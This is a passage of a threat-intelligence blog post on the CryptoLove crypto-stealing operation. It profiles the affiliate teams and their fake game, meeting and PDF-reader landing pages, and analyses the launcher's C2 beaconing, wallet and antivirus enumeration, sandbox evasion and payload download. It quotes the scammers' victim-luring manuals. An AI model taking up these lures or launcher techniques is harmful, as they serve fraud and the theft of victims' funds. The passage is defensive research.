page of Genom</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*Z6VV_FsZzzj41SQso3saPQ.png" /><figcaption>Genom’s NFTs on Rarible</figcaption></figure><p>Interestingly enough, the affiliate has previously registered the company on Companies House services as Genom LTD, which was later changed to DRAGONBORN LTD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*il8OssT4QxhmhQmA0n1VlQ.png" /><figcaption>Registered company GENOM LTD on Companies House</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*esdmc0uux7QeCvGpT_b2Og.png" /><figcaption>Registered company GENOM LTD (changed to DRAGONBORN LTD) on Companies House</figcaption></figure><p>Please note that Dragonborn is another scam project under CryptoLove managed by affiliate Mr. Beast Team.</p><h3>Wolfs of Wall Street Team</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*ZeLPG7vscMGY4tCUnDcHOA.gif" /><figcaption>Wolfs of Wall Street affiliate banner</figcaption></figure><p>The affiliate has a turnover of 300270$</p><p>The Wolves of Wall Street currently has two main projects: gaming landing pages with social media profiles (Orionix and Dinoverse). The affiliate is planning a rebranding soon.</p><p>How Wolves of Wall Street advertises the Dinoverse project:</p><ul><li>The Dinoverse project features a fantastic metaverse with its merchandise, real documents, and official registration in the UK.</li><li>The project offers a wealth of top-notch and unique materials, including NDAs, custom designs, and more.</li><li>It has UK licenses with engravings and authentic holographic DocSecure.</li><li>Highly promoted social media (Twitter with a Gold Checkmark, Discord, Link3, Linktr, Medium, Telegram, YouTube, OpenSea, and more).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*PIK_ymYuhAqyO9dcvneQ4g.png" /><figcaption>Dinoverse landing page with a gaming theme</figcaption></figure><p>The logs from Dinoverse launchers are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*F-E8dFJ-OBK17P2C6KOh3A.png" /><figcaption>Dinoverse logs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*8djlfpkUqGuV-WjRrsYyKQ.png" /><figcaption>Dinoverse registered as UNI LTD</figcaption></figure><p>It is also registered as a business in Georgia (United States) and as UNI Enterprise, LLC, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zb2PfM6zUnODQDp2TB_LKg.png" /><figcaption>Dinoverse photo of printed business license provided to the workers</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WslZtm0Xw77bZwCqTruEhg.png" /><figcaption>Dinoverse registered as UNI Enterprise, LLC.</figcaption></figure><p>The Dinoverse administration also created its merchandising and shared a real-life photo shoot to give credibility to the project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*J6ISkSyp3-FxGiGi-oTKkA.png" /><figcaption>Examples of Dinoverse’s merchandising photoshoot in an underground parking</figcaption></figure><p>Below is the Linktr for the Dinoverse project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*tG7jU2RzMI1uPJYRO88mLw.png" /><figcaption>Dinoverse linktr.ee</figcaption></figure><h4>Orionix project:</h4><ul><li>The Orionix project is a gaming landing page with a space theme.</li><li>The project includes extensive materials, including a Discord channel.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EdFRb9pfRDw71mpEbPjE8A.png" /><figcaption>Orionix landing page with the gaming theme</figcaption></figure><p>The logs from Orionix launchers are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*SfF0-BqU_x5CEHn14RDxog.png" /><figcaption>Orionix logs</figcaption></figure><p>Orionix affiliate claims the business is registered in Florida, United States. However, the document provided is fake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*QqeKjWApI-PcbYlNf9l54w.png" /><figcaption>Fake Orionix registration printed document pic given to workers</figcaption></figure><p>The administration behind Orionix made a photo shoot using its merchandising to gain user credibility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wca1V_M315ttIjvaQD_pYw.png" /><figcaption>Examples of Orionix merchandising photoshoot in a professional studio</figcaption></figure><p>Below is the Linktr for the Orionix project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*eAJF9ftd1_oE165v5eM5xA.png" /><figcaption>Linktr for the Orionix project</figcaption></figure><p>Please note that both fake gaming landing pages created by Wolves of Wall Street serve no purpose but to provide a fake download button, which delivers the malware launcher for CryptoLove.</p><p>Additionally, this group operates two landing pages that impersonate video-meeting software, such as Zoom and WeChat. Each user can generate a personalized page under a shared domain linked to their Telegram username through a team-managed bot. These pages are designed to trick users into downloading the launcher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*2W65KKL66xdMb85-a6dBhA.png" /><figcaption>Zoom landing page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*LqrlzAu2TCUvNeeWpkpxAg.png" /><figcaption>WeChat landing page</figcaption></figure><p>While writing this blog, both fake meeting software landings have been terminated.</p><p>Another landing provided by Wolves of Wall Street is a suite of web3 browser-based tools named “Toffee”, which is promoted on three websites:</p><blockquote>Crypto Tools — Here, you’ll find all crypto applications, exchanges, wallets, services, token sales, marketplaces, AI services — all brought together into one powerful crypto tool that’s incredibly convenient for anyone navigating the crypto world!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HcGOvHcTtqvLHLD-hmgBlw.png" /><figcaption>Landing page of Toffee project (1)</figcaption></figure><blockquote>Crypto Calendar — Here, you’ll find all crypto applications, exchanges, wallets, services, token sales, marketplaces, and AI services — all combined into a comprehensive crypto tool that’s super convenient for anyone in the crypto space!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ygtiKiQ4Ksy4z7LbpL6kmA.png" /><figcaption>Landing page of Toffee project (2)</figcaption></figure><p>The promotion from the affiliate for Crypto Research / Toffee Research:</p><blockquote>Here, you’ll find all the latest news, media leaks, flashes, and micro-updates from the cryptocurrency world — covering everything from no-name projects to top-tier ones. For example, a mammoth might want to track the NN project and set up notifications for any media leaks to decide when to buy or sell the project’s tokens. Yes, it’s super convenient and, once again, a great hook!</blockquote><blockquote>Welcome!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*is5hsw_8nJnLqI_w10A5qQ.png" /><figcaption>Landing page of Toffee project (3)</figcaption></figure><p>Like all landing pages in this team, Toffee suite have no other functionality than serving the launcher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*DYFTwx9QsR368L9gi6TlzA.png" /><figcaption>Toffee logs</figcaption></figure><h3>PROFIT (ПРОФИТНЫЕ) Team</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AN5Iwub2y2y3RnL6_puAbA.jpeg" /><figcaption>PROFIT Team affiliate banner</figcaption></figure><p>The affiliate has a turnover of 966542.0$</p><p>Currently, the PROFIT Team is working on leading projects, both gaming-themed landing pages — Whales Project and Orbit Project. This affiliate has the following landing pages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2qJf3GOsGLip0Vx6BtglWg.png" /><figcaption>Whales Project landing page</figcaption></figure><p>Users can either download the fake game (launcher) directly or create an account on the site, where, like Genom / Argon 2.0 landing from Yellow Empire, the Profit team worker can send fake tokens to the victim account through a bot to create reliability in the project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bMIYDkMnnDlSMZ9Y3wfW9Q.png" /><figcaption>Website fake wallet</figcaption></figure><p>Cosmo Whales has its own company in Company House.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Mo9G3Aq72GiX6T_2yL3hJA.png" /><figcaption>Whales Project registered as Cosmo Whales</figcaption></figure><p>The affiliates of this team also created an NFT collection for this project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jPXSp9bdbGRVH2F-5C-Fag.png" /><figcaption>Whales Project NFT collection in OKX</figcaption></figure><p>The Orbit project is also a fake game landing that was inspired in WarUniverse: Orbit of Cosmos, an MMO game about Space.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-CnL8PXJXcgEre_ZESQrxQ.png" /><figcaption>Orbit landing page</figcaption></figure><p>This landing does not work as well as Cosmo Whales because the website only provides a download button, and the gameplay featured on the website is just stolen clips from videos of the gaming YouTuber “MrZarokk”.</p><p>Even MxDuke, the staff of the PROFIT Team, is included on the website as the founder of the Orbit Unit game as an “experienced blockchain and DeFi specialist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_fmJC9CE7hgKEIKxA8xpGw.png" /><figcaption>Orbit “staff”</figcaption></figure><p>And the last landing provided by the Profit team is a fake PDF Reader named VeriScroll. In the past, it was known as Verdascript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6KmNxhobtv-5w-SgZf51Aw.png" /><figcaption>PDF Reader landing page</figcaption></figure><p>The profit team has a general channel for logs for all three landings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*oQC5tRO95TpiRBqKwT8qRg.png" /><figcaption>PROFIT affiliate logs</figcaption></figure><h3>Heaven Era 2.0 Team</h3><p>The affiliate has a turnover of 535334$</p><p>This affiliate had the following landing pages in the past:</p><ul><li>CRYPTIC CAVE (WEB3 GAME LAND)</li><li>LINKUP (MEETING SOFTWARE LAND)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hkWvvBP90gVHbOWKdjwA1Q.png" /><figcaption>Cryptic Cave landing page</figcaption></figure><p>This game was also listed on the Magic Square web3 app store, introduced as “a unique RPG where you become a young adventurer stranded on a mysterious island!”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*PlexxdTl4G0gYqZe-lTQ4Q.png" /><figcaption>Cryptic Cave listing announcement</figcaption></figure><p>The logs from Cryptic Cave launchers are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*Yf2nEV6ddZS6EYlMP9vNaw.png" /><figcaption>Cryptic Cave logs</figcaption></figure><p>The LinkUp landing features a fake meeting software, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*ZdUqx7SwpIlsjtTdljAZKQ.png" /><figcaption>Linkup meeting software landing page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*IpHROn82ABO-9f0fikl3bQ.png" /><figcaption>Linkup logs</figcaption></figure><h3>Mr. Beast Team</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XvBfAp7Uqzfyqyv-MIhj-A.jpeg" /><figcaption>Mr. Beast affiliate banner</figcaption></figure><p>The affiliate has a turnover of 31680$</p><p>This affiliate has had the following landing pages in the past:</p><ul><li>DRAGONBORN (WEB3 GAME LAND)</li><li>DOCULUMA (PDF READER LAND)</li></ul><p>The Dragonborn Landing page features a fake game about dragons, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*9mO8zrZvA_OZbJSBZL6e6A.png" /><figcaption>Dragonborn landing page</figcaption></figure><p>As shown below, Dragonborn claims to partner with some companies, such as Vespertine Capital, HUBGlobal, or RedHat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*3yjX6S4OnvFeCpZ7lvz_GQ.png" /><figcaption>Dragonborn fake partnership announcement with software giant RedHat</figcaption></figure><p>Dragonborn also falsely claims to be managed by Steven Wolfe Pereira, a Chief Client Officer for TelevisaUnivision’s U.S. Advertising Sales, using his image without authorization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*3dq2qYM_UTjwoThGu8-mqw.png" /><figcaption>Dragonborn fake staff</figcaption></figure><p>This landing page has also created the Dragonborn token ($DBT), which is available and already flagged on PancakeSwap. Additionally, the token is highlighted on the website as a fake token labeled vDBT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kAZytsADqjusojC0Mgg86Q.png" /><figcaption>Dragonborn token swap</figcaption></figure><p>This landing page offers users a direct download option and the ability to create an account by connecting their MetaMask wallet. By connecting to the site, users can access features such as a messaging system for communication between Dragonborn users, a fake NFT inventory, a fake job advertisement section (where users can apply by submitting their full name, country, email, and CV document), and a ticketing system for reporting issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MjHV60gDVLwyjWCRU1Eh9A.png" /><figcaption>Dragonborn profile for connected users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9FSxT4-WQgNcjEj3IUZFQQ.png" /><figcaption>Dragonborn careers page</figcaption></figure><p>For team affiliates, a custom administration panel called AdminDragon was developed by CryptoLove’s developer, Lanrock. It is a fork of AdminLTE 4.0.0-beta2. Credentials for accessing this administration panel are generated through a team-managed bot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QXus01sSV8uzMjgSqMZhXg.png" /><figcaption>Dragonborn admin panel</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*gOso6UDBr6H4nOQl-EwAtA.png" /><figcaption>Dragonborn NFT sent to the profile inventory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*YUEtla1uc_DAKa6Rb0eLkg.png" /><figcaption>Dragonborn victim ticket replied by an unknown affiliate</figcaption></figure><p>It is possible to send a fake amount of vDBT to any user connected to the website and send HTML code to his profile due to bad sanitization of requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hqXcmQI2sfdEsgYg5U6ewA.png" /><figcaption>Dragonborn landing page</figcaption></figure><p>So, we sent some love to CryptoLove users on the website too, nothing special …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*ZUkfHY08j_Y2XnKA_eSzyw.png" /><figcaption>Message to CryptoLove</figcaption></figure><p>According to Mr. Beast’s administration, the AdminDragon panel includes an option to drain connected user wallets by activating them with a button. Once activated, the user must swap the received vDBT tokens to their preferred cryptocurrency on the landing page using the connected wallet. This action is assumed to trigger the drainer. The drainer reportedly used for these operations is allegedly known as Angel Drainer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GqPdx0ZRnZAqcrnbU98EJw.png" /><figcaption>Dragonborn victims IDs</figcaption></figure><p>When writing this blog, there are allegedly 258 users with connected wallets. These wallets can be viewed in the Mr. Beast log channels. The draining functionality needs to be operational when writing this blog, and there is no record of any successful draining in the Mr. Beast draining log channels. Therefore, the functionality of this feature could not be confirmed.</p><p>Workers of the Mr. Beast Team can request its affiliates a custom corporate email (<a href="https://@dragonborn.org">@dragonborn.org</a>) in order to carry out their scamming activities in a more professional way and make the victim believe that the project is a legitimate one. Communications with victims may also be carried out through these corporate emails, avoiding suspicions. The mail service being used is VK Workmail (from mail.ru).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kg07yepn4S3d-GYxr29SLw.png" /><figcaption>Emails created by Mr Beast Affiliates to their workers</figcaption></figure><p>The logs of Dragonborn are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*0-_0U5anbXV8IBy3ZZL3LQ.png" /><figcaption>Dragonborn logs</figcaption></figure><p>The other landing provided by Mr. Beast is a fake PDF Reader named Doculuma.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*i3Ldd-igq3GbHd-CBku2aA.png" /><figcaption>Doculuma PDF Reader Landing Page</figcaption></figure><p>Like other PDF Reader landings provided by CryptoLove affiliates, the most common method to get users to download these fake software is by sending them a PDF file containing a locker banner from the PDF Reader.</p><p>How the affiliate would describe the process of luring victims into downloading the launcher via the PDF reader:</p><p>The PDF file is not a launcher. It’s an encrypted PDF file, and when opened, the mammoth (target user) sees the following:</p><ul><li>For the mammoth to supposedly open this PDF file, he must install a PDF reader. Logically, the mammoth types the query into Google (for example, the query, the name of our site is different): “verdascript” — “verdascript pdfreader” and so on, and sees this picture.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*iN7uEUp47whOBhR2J57mgQ.png" /><figcaption>Results from the Google search</figcaption></figure><p>Mr. Beast’s manual on how to work with it:</p><blockquote>1. You can introduce yourself as always, an employee of one of our landing pages, and instead of guiding him into the channel in Discord, you ask questions, introduce him to the project, and then ask if he’s ready to sign the contract then you can send him the launcher.</blockquote><blockquote>2. It is the same as the first method, but instead of sending the PDF file to the mammoth via Discord/Twitter/Telegram, you ask him for his email and tell him you’ll send him the employment contract. Write to the support or the branch owner that you need the corporate email, and from there, you send the file. The mammoth sees that you are an employee because you have the project’s corporate email and the trust level increases.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*cNResVkhFRhlAWdfx_l1dQ.png" /><figcaption>Fake Doculuma PDF that is presumably protected</figcaption></figure><h3>ObmanVALUT Team</h3><p>The affiliate currently has a turnover of 77404$.</p><p>This affiliate features a fake meeting software named “NexCall”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Q4Uh47Ke8MPEh5kXTRvq4g.png" /><figcaption>Nexcall landing page</figcaption></figure><p>The affiliates of this team can provide their workers with a corporate email (@nexcall.us), similar to Dragonborn described previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*T-q1tPGPGo2bqveAwN-YNw.png" /><figcaption>Emails created by ObmanValut affiliate for their workers</figcaption></figure><p>The logs of Nexcall are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*0-_0U5anbXV8IBy3ZZL3LQ.png" /><figcaption>NextCall logs</figcaption></figure><h3>CAPS LANDS Team</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r_6OJPUFuv_-fLMfkqTS0A.jpeg" /><figcaption>CAPS LAND Affiliate</figcaption></figure><p>The affiliate has a turnover of 10774$.</p><p>This affiliate has the following landing pages:</p><ul><li>CAPSURE LABS (WEB3 SOFTWARE LAND)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZDBjTI49lJ8UhTDALd_7rA.png" /><figcaption>CapsureLabs landing page</figcaption></figure><p>The landing page serves the launchers via the promo codes workers provide to the victims.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*xFZ8O5tedEPHqg-HwqX91w.png" /><figcaption>CapsureLabs landing page</figcaption></figure><h3>Upcoming landings</h3><p>In November 2024, the CryptoLove Team added two additional affiliates — Untitled Team and XMAS Team. It’s worth noting that the XMAS Team was previously part of Marko Polo’s trafficking team, which was recently <a href="https://x.com/g0njxa/status/1856746748988813698">shut down</a> because his coder stole 2.5 million dollars worth of GIGA memecoin tokens from a Mac OS log that the automatic checker of Marko Polo staff could not detect. TXMAS Team and their workers have been active under the Marko Polo traffer’s group for several months, operating as their affiliate with their landing pages “Galaxy” and “MOW,” which can’t be attributed to any source while writing this blog. While they are actively adapting to the new CryptoLove administration, the landings offered by this team remain unknown.</p><p>Untitled Team offers a forum at xona[.]gg, a copy-paste of kingz[.]net forum. The staff of this team is actively developing this landing and shared the intentions about how they wanted it to be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OZKfOhOq-BgoLGAsygAavw.png" /><figcaption>Xona landing page</figcaption></figure><p>While this functions as a fully operational forum, affiliates of the Untitled Team have two methods to trick victims into downloading malware. The first method involves directly downloading the forum’s XCLIENT launcher, a customized variant of the CryptoLove launcher. Victims are deceived into believing that the code they input into the launcher is a 2FA authentication code (the developer made a typo on the landing page to enable the authentication). In reality, it is the personal invite code for the CryptoLove worker. At the time of writing, this functionality is still under development.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6xy5SKNnhj5HZVgUWUrAPA.png" /><figcaption>Xona download page</figcaption></figure><p>The second method for infecting the victims with a launcher involves introducing a simulated calling feature within the forum’s user messaging system. When one user attempts to call another, a fabricated notification will appear, claiming an issue with their microphone. The suggested solution will prompt users to download specific “driver updates”. However, this will initiate the download of the CryptoLove launcher. This feature is currently in development and redirecting users to the download page of the XCLIENT mentioned previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xyReGVJDjGpkZOX6MHEp1w.png" /><figcaption>Xona messaging page</figcaption></figure><p>The affiliates of this team have also created a Telegram mini-app that displays the Xona forum and will let the users use the forum directly inside Telegram.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rEK09KM1nnPCswUAN3UPRw.png" /><figcaption>Xona mini app hosted on Xona´s Telegram bot</figcaption></figure><h3>CryptoLove Launchers</h3><p>Note: When writing this report, the launchers drop Rhadamanthys and StealC for Windows and AMOS Stealer for MacOS. You can find the configuration extractors for StealC and the newest AMOS version <a href="https://github.com/TRACLabs1/Config_extractors/tree/main">here</a>.</p><p>Before we start analyzing the launchers, it’s worth noting that we have successfully reported the few EV certificates that were used to sign the malicious launchers, including:</p><ul><li>Chengdu Yihui Weimeng Network Technology Co., Ltd (Thumbprint: 7EB4CA2952EB958E894D4AC48971BA930F22D29F)</li><li>Shenzhen Xinshitong Network Technology Co., Ltd (Thumbprint:<br> 8F44A139359DDB9310C681526C560F207B706115)</li></ul><p>CryptoLove was using MSIX for the launchers at some point around October 2024 and then switched back to executables.</p><p>In September, CryptoLove was using launchers that were not bundled. Upon executing the launcher, the infected machine executes the sendstart() method. The sendstart() and other related functions (sendclick, sendclick1) are mechanisms used by the launcher to report certain events or user interactions back to a command and control (C&amp;C) server. The sendclick2() is also implemented in the binary but is not being used.</p><p>The method sendstart() is responsible for reporting a launch action to a remote server, which is hxxp://xilloolli.com/api[.]php. The POST request is constructed using the following:</p><ul><li>Base URL mentioned above.</li><li>status=1 indicates the event type (in this case, a “launch”).</li><li>wallets=, which calls MainWindow.Wallets() to the number corresponding to the wallet extension(s) detected on the victim’s machine.</li><li>av=, which calls MainWindow.GetAntivirus() to retrieve information about the antivirus software installed on the machine. The GetAntivirus method attempts to identify installed antivirus products on the system by querying the WMI (Windows Management Instrumentation) repository for the AntivirusProduct class in the SecurityCenter2 namespace. So, if, for example, both “Windows Defender” (ID: 1) and “Kaspersky Total Security” (ID: 2) are found, it will return “1,2”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVNLgeVS5a6EeKojW-wYQA.png" /><figcaption>Method that retrieves cryptowallets on the victim’s machine</figcaption></figure><p>The list of wallets being enumerated:</p><ul><li><strong>MetaMask: </strong>fhbohimaelbohpjbbldcngcnapndodjp</li><li><strong>Phantom Wallet:</strong> aeachknmefphepccionboohckonoeemg</li><li><strong>Binance Chain Wallet:</strong> hnfanknocfeofbddgcijnmhnfnkdnaad</li><li><strong>Coinbase Wallet: </strong>aholpfdialjgjfhomihkjbmgjidlcdno</li><li><strong>Trezor Wallet:</strong> dmkamcknogkgcdfhhbddcghachkejeap</li><li><strong>Ledger Live:</strong> efbglgofoippbgcjepnhiblaibcnclgk</li><li><strong>Trust Wallet:</strong> nkbihfbeogaeaoehlefnkodbefgpgknn</li><li><strong>Math Wallet:</strong> fcckkdbjnoikooededlapcalpionmalo</li><li><strong>Guarda Wallet:</strong> bfnaelmomeimhlpmgjnjophhpkkoljpa</li><li><strong>SafePal Wallet: </strong>opfgelmcmbiajamepnmloijbpoleiama</li><li><strong>Nifty Wallet: </strong>fnjhmkhhmkbjkkabndcnnogagogbneec</li><li><strong>Zerion Wallet: </strong>aiifbnbfobpmeekipheeijimdpnlpgpp</li><li><strong>Liquality Wallet: </strong>opcgpfmipidbgpenhmajoajpbobppdil</li><li><strong>Exodus Wallet: </strong>egjidjbpglichdcondbcbdnbeeppgdph</li><li><strong>MyEtherWallet (MEW): </strong>ppbibelpcjmhbdihakflkdcoccbgbkpo</li><li><strong>Ronin Wallet:</strong> ffnbelfdoeiohenkjibnmadjiehjhajb</li><li><strong>Keplr Wallet: </strong>jnlgamecbpmbajjfhmmmlhejkemejdma</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k2P8qgyWyqUiXG_OVFJR_w.png" /><figcaption>Method that retrieves AVs on the victim’s machine</figcaption></figure><p>Next, the binary checks whether it’s running in sandboxed or emulated environments using the CheckEmulation() method. The check fails if one of these conditions is true:</p><ul><li>Available memory is less than 4 GB (MainWindow.Memory()).</li><li>The current directory is the Root directory (C:\).</li><li>The system’s temporary directory (Path.GetTempPath()).</li><li>The executable file name (without extension) is longer than 11 characters.</li><li>The username or machine name matches specific hardcoded values: WALKER, WALKER-PC, John, JOHN-PC.</li></ul><p>If the check fails, the method sendclick1() executes to send the response to the server with status=2 (e.g., hxxps://xilloolli.com/api[.]php?status=1&amp;wallets=0&amp;av=1), and the victim would receive a warning about detecting a virtual machine: An attempt to launch a program using a virtual machine was detected. Update rejected (error code: D24VM09).</p><p>If the user clicks on “Cancel” from the fake installer window, the sendclick1() also gets triggered, and it sends a request to the server with a status indicating that the Cancel button was clicked, along with other system information like detected wallets or antivirus software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*YAsm39wNL8FXcSsoOWiifA.png" /><figcaption>Fake Installer window</figcaption></figure><p>If the launcher continues with the execution, The PolicyGeneretic() method is triggered, which orchestrates the execution of three tasks (TaskLoad, TaskLoad2, and TaskLoad3) responsible for downloading and executing malicious payloads. It first checks if a folder “microsoftgame” under C:\Program Files exists on the system. If the folder does not exist, it creates it. The folder will store the malicious payloads. Next, TaskLoad, TaskLoad2, and TaskLoad3 are executed sequentially, with sleep intervals of 15 seconds and 20 seconds, respectively.</p><p>TaskLoad:</p><ul><li>Check if the file (1.exe) already exists in the target directory.</li><li>If the file exists, it deletes it to ensure the latest version is downloaded.</li><li>It reports the download attempt with the download_first_bug() method, the request would look like the following as an example: hxxtp://xilloolli[.]com/api-debug.php?status=2&amp;proc=Intel(R)%20Core(TM)%20i7–9700K%20CPU%20@%203.60GHz&amp;av=1, where proc= would contain the retrieved CPU name of the infected machine.</li><li>It then executes 1.exe from the saved location and sends a success message to the server via sendopen1() and opened_first_bug(), where sendopen(1) would look like the following: hxxp://xilloolli.com/api[.]php?status=4&amp;wallets=1,5,7&amp;av=1,3 and opened_first_bug() would look like hxxp://xilloolli.com/api-debug[.]php?status=3&amp;proc=Intel(R)%20Core(TM)%20i7–9700K%20CPU%20@%203.60GHz&amp;av=1,3 with status=4 and status=3 respectively.</li><li>If the file cannot be executed, the error is logged to the server (error_on_openning_first_bug), where the request would look like the following: hxxp://xilloolli.com/api-debug[.]php?status=11&amp;error=error_message.</li><li>If the file exists but cannot be executed as a fallback mechanism, the launcher reports the issue to the server with status=12 and proceeds to the next task (TaskLoad2).</li><li>If the file doesn’t exist, the launcher reports it to the server with ?status=11&amp;error=No%20File.</li><li>If downloading the payload fails, the launcher logs the error to the server (error_on_downloading_first_bug) with ?status=10&amp;error=error_message and proceeds to the next task (TaskLoad2).</li></ul><p>Similar actions are performed with TaskLoad2 and TaskLoad3, but different payloads and status codes are used. Here is the table of the payloads and codes:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b9a46fff86beee36fa72a2f39bbbe509/href">https://medium.com/media/b9a46fff86beee36fa72a2f39bbbe509/href</a></iframe><p>Now look at the starter’s MSIX file (9d4302876124b31deca3254bc0d0bfee). The MSIX file contains the embedded executable file named “TinyPatch.exe”. The executable file is a dotnet bundle containing the .NET runtime and all required dependencies within the bundle. The VirusTotal detections for those bundled binaries are typically low.</p><p>The execution of the launcher would trigger the method below.</p><pre>// TinyPatch, Version=3.29.8.0, Culture=neutral, PublicKeyToken=null<br>// CalculadoraWPF.MainWindow<br>using TinyPatch.Analizate;<br>using TinyPatch.Misc;<br> <br>private async void InitializeAsync()<br>{<br> Send.sendstart();<br> Send.sendclick1();<br> await Utils.DownloadManagment();<br>}</pre><p>In this launcher, the sendstart() method initiates the main operation similar to the previous launcher, while the sendclick2() method is triggered when the user clicks “Cancel” during the payload installation. Upon this action, a POST request is sent to the Command and Control (C2) server with the structure: ?status=3&amp;wallets=0&amp;av=0. This indicates that the installation was canceled (status=3), and no cryptocurrency wallets (wallets=0) or antivirus programs (av=0) were found.</p><p>Following the POST request, the DownloadManagement() method is executed, managing the download and execution of the payload as follows:</p><ul><li>The method first verifies if the target file, named 1.exe as specified in the configuration, exists in the specified temporary directory named “LPC”. If found, it is deleted to download a new payload.</li><li>It checks for the existence of the temporary directory. If the directory does not exist, it is created.</li><li>The method then checks for any running process named “1”, corresponding to the 1.exe payload. If no such process is found running:<br>- A WebClient is initialized to download data from the pre-configured URL.<br>- The newly downloaded payload is saved in the “LPC” directory under the file name 1.exe.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4oPzQUHL8uisGOk0A2P4g.png" /><figcaption>The configuration</figcaption></figure><p>This launcher variant lacks functionalities for enumerating cryptocurrency wallets or antivirus programs. Additionally, it references “gravitiumgame”, a landing page previously used by Heaven Era Team.</p><p>In October 2024, CryptoLove updated its launchers by adding a layer of protection using the .NET Reactor while maintaining the same functionality in the launcher.</p><p>In November 2024, CryptoLove did a major update for their launcher. According to CryptoLove:</p><blockquote>Completely changed the delivery system and the algorithm for loading our payloads. Now, builds are executed exclusively in memory, which removes the need for our builds to be crypted and will also increase the rate of infections 👍. Based on this, each affiliate will now have its build of the stealer.</blockquote><blockquote>Yes, calculating the liters of blood that researchers, defenders, and others have sucked out of us would be challenging. In this update, they completely changed the launcher&#39;s operation. From concept — To implementation.</blockquote><blockquote>List of changes:</blockquote><blockquote>- The system of issuing the launcher has also changed: Now we issue a legitimate installer file that installs the folder with the launcher on the mammoth’s computer on the path they indicate. The folder’s contents will change depending on the branch and its legend. In all branches, there will be a custom launcher with their UI. When installing, the mammoth can either check the “launch the program after installation” and immediately open the launcher, or just open it from the folder.</blockquote><blockquote>- Now, to open the launcher, the mammoth needs to enter the personal promo code of the worker. Only after they enter the correct promo code will their payload begin loading. This will significantly reduce the number of detections and make analyzing the launcher almost impossible. The worker must obtain the promo code for a specific branch in the team bot. The promo code is valid only until the mammoth uses it. After the usage, the promo code becomes invalid. Give them a new promo code if you need to reinfect your mammoth. The system looks complicated, but believe me, it won’t add much discomfort to the work. Thanks to this, even 